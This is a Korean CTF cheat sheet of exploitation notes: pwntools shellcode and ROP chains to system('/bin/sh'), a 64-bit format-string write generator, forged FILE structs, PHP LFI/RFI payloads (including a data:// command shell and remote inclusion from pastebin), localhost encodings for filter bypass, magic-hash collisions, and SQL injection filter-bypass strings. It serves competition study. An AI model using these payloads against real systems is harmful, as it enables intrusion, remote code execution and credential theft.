CTF TIPS
Binary Tips
file 명령어로 봤을 때 stripped 돼있고 main 함수가 안 보인다면 start로 가면 libc_start_main으로 콜하는 데 그 중에서 첫번째 인자로 들어가는 주소가 main함수이다.
윈도우 바이너리 같은 경우는 start에서 2번째 호출되는 함수의 exit()의 인자로 들어가는 result 가 main이다.
pwntools Create Shellcode
asm(shellcraft.amd64.sh(), arch='amd64')
pwntools libc symbol
leak_libc = ELF('./leak_libc')
libc_system = libc_base_addr + leak_libc.symbols['system']
64 bit ROP
[buf] + gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]
Function Offset
printf_off = e.symbols['printf']
system_off = e.symbols['system']
libc_base = printf - printf_off
system = libc_base + system_off
binsh = libc_base
binsh += e.search('/bin/sh').next()
FSB
스택 내 주소 한번에 출력
스택의 1337번째의 값을 hex 값으로 출력 (info leak)
printf("%LENGTH$08x"); -> printf("%1337$08x");
주소 값 한 번에 변조
스택의 12번째의 값에 저장되어 있는 주소에 앞에 출력된 바이트 수만큼 덮음
printf("%LENGTH$n"); -> printf("%12$n");
%n -> 앞에 쓰인 바이트만큼 4byte 채움
%hn -> 앞에 쓰인 바이트만큼 2byte 채움
%hhn -> 앞에 쓰인 바이트만큼 1byte 채움
64bit FSB - by JSEC
def fmt(prev , target):
if prev < target:
result = target - prev
return "%" + str(result) + "c"
elif prev == target:
return ""
else:
result = 0x10000 + target - prev
return "%" + str(result) + "c"
def fmt64(offset , target_addr , target_value , prev = 0):
payload = ""
for i in range(3):
payload += p64(target_addr + i * 2)
payload2 = ""
for i in range(3):
target = (target_value >> (i * 16)) & 0xffff
payload2 += fmt(prev , target) + "%" + str(offset + 8 + i) + "$hn"
prev = target
payload = payload2.ljust(0x40 , "a") + payload
return payload
64bit에서는 %lx로 8byte leak 가능
nc tip
nc로 바이너리가 주어질 때 있는데 아래처럼 바이너리 같은지 확인 가능하다.
$ nc 주소 > 1
$ nc 주소 > 2
$ nc 주소 > 3
$ nc 주소 > 4
$ nc 주소 > 5
$ md5sum *
$ rm *
Input
strcpy, fgets, scanf 함수 같은 경우는 입력받고 마지막에 Null Byte를 삽입한다.
recv, read 함수는 입력 받은 후 Null Byte를 삽입하지 않는다.
malloc_hook & free_hook
x/x &__malloc_hook
p/x &__malloc_hook
x/x &__free_hook
p/x &__free_hook
export library
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:경로
stack leak
environ변수를 통해 stack leak가능하다.
environ = libc_base + libc.symbols[‘environ’]
environ을 leak해주면 stack주소가 나온다.
buffer
scanf()
\x09, \x0a, \x0b, \x0c, \x0d, \x20 전까지만 받음
gets()
\x0a 전까지만 받음
\x0a는 버퍼에도 들어가지 않는다.
fgets()
\x0a까지 입력받음.
read()
\x0a까지 입력받음
모든값 입력 가능
libc
로컬에서 서버 libc사용하기
p = process([”./dubblesort”], env={‘LD_PRELOAD’:’./libc.so.6’})
Python Tips
xor
두 개의 문자 xor연산 할 때 itertools cycle 모듈 사용해서 인덱스가 끝나도 처음으로 가서 계속 xor 연산 가능
zip 함수는 두 개의 리스트의 같은 인덱스를 짝 지어준다.
Ex) [1,2] [3,4] 있으면 (1,3) (2,4) 이런식으로
from itertools import cycle
a="Eo@GxVoclNqioF^tkF^clNqyoFe}"
b="\x03#\x01\x00"
flag=""
for x,y in zip(a,cycle(b)):
flag += chr(ord(x)^ord(y))
print flag
ctypes
아래 예제처럼 응용
from ctypes import CDLL
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6") # Windows -> msvcrt
libc.srand(libc.time(0))
libc.rand()
BruteForce
이런식으로 리스트의 모든 조합의 경우를 구할 수 있다.
from itertools import permutations
a=[1,2,3]
table = permutations(a)
# 만약 2개씩 짝 지을거면 permutations(a,2)
for i in table:
print list(i)
ida python
ifind('call') : 호출되는 함수볼 수 있음
File Struct
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, '\0')
struct += p64(_lock)
struct = struct.ljust(0xd8, '\0')
return struct
pack_file() + p64(vtable) + libc.symbols['system']
Web Tips
Use python requests
import requests
req = requests.post('주소', data={'name': value, cookies={'PHPSESSID': session})
import requests
head={'user-agent': 'Test'}
req = requests.get(ADDRESS, headers=head)
Use cURL
curl -d "id=admin&pw=admin&press=Login" ADDRESS
curl ADDRESS -H 'header: header' --data 'data=data'
Magic hash
"0e1354" == "0e87453" // true
"0" == "0e7124511451155" //true
"0" == md5("240610708") // true
"0" == sha1("w9KASOk6Ikap") // true
md5("QLTHNDT") == md5("QNKCDZO") // true
LFI & RFI
http://URL/?page=php://filter/convert.base64-encode/resource=index.php
http://URL/?page=php://filter/convert.base64-decode/resource=./upload/abcde
http://URL/?page=data://text/plain,%3Cxmp%3E%3C?php%20system($_GET[%27x%27]);&x=ls%20-al
http://URL/?page=http://pastebin.com/raw/abcd/?&x=ls%20-al
127.0.0.1
http://2130706433
http://0x7f000001
http://0x7f.0x00.0x00.0x01
http://017700000001
http://0177.000.000.01
MySQL
다음 라인 : %0a //주석처리를 하더라도 다음 줄로 넘겨버리면 무시된다.
주석 처리 : -- # ;%00 /**/
파라미터가 두개 있을경우 \를 입력해 뒤의 '를 무력화 후 쿼리문을 스트링화 시키고 뒤에 파라미터에 exploit을 수행할 수 있다.
%0a 말고도 %0b 등 대신 쓰일 수 있는 여러문자들이 있다.
비교 문자 : = like in strcmp()
문자 자르기 : strcmp left right mid Function
and == &&, or ==||
if ord Function Filtering : conv(hex(substr(pw,1,1)),16,10)
공백 대신 : /**/ %09 %0a ()
IF(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)
SQLI
String Filtering [ preg_match - ex) admin]
admin : 0x61646d696e 0b0110000101100100011011010110100101101110 char(0x61, 0x64, 0x6d, 0x69, 0x6e)
Blind SQL Injection Equal(=) Filltering
substr('abc',1,1)like('a')
if(strcmp(substr('abc',1,1),'a'),0,1)
substr('abc',1,1)%20in('a')
substr Filtering
right(left('abc',1),1)
id > 0x41444d4941 'ADMIN' > 'ADMIA'(hex)
ereg, eregi
'admin' Filtering -> 'AdmIN' bypass
FRONT %00 INSERT -> 뒤에 문자 필터링 처리 안됨
replace, replaceAll, str_replace
'admin' Filtering -> 'adadminmin' 'adadmimin' 'admadminin' 'admdmiadmdmiinin'
Numeric Character Filtering
0 -> '!'='@' -> false
1 -> '!'='!' -> true
White Space Filtering (%20)
%20 -> %0a %0b %0c %0d %09
Single Quoter Filtering (%27)
Use Double Quote in Single Quote
if '\' not Filtering
-> select TEST from TABLE where id='\' and pw=' or 1#
parameter : id=\&pw=%20or%201%23
Comment Injection
'#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나눈다.
-> select test1 from TABLE where id='abc'# and pw='%0a or id='admin'%23
'/* */'
-> select test1 from TABLE where id='abc'/* and pw=''*/ or id='admin'%23
Table and Column
select test1 from test where id='admin' and pw='1234' procedure analyse();
-> Use with limit 2,1
SQL Injection Attack Success
Use '(Single Quoter) Error
-> ' and '1'='1 , ' and '1'='2
앞은 정상적 출력되고 뒤는 출력이 안나면 성공
' or '1'='1 -> 정상 출력 되면 성공
Number Column
-> if idx=23001 == idx=23002-1 이렇게 넣었을때 정상 출력 되면 성공
Comment
-> #(%23), -- (--%20), %0a
Filtering
=이 필터링 되었을 때
1' or 2>1 -- 이렇게 조건 참 만들어서 인젝션할 수 있다.
../를 replace해주면 .././로 "../"로 만들 수 있다.
Unpacking js
console.log()
Reference by ar9ang3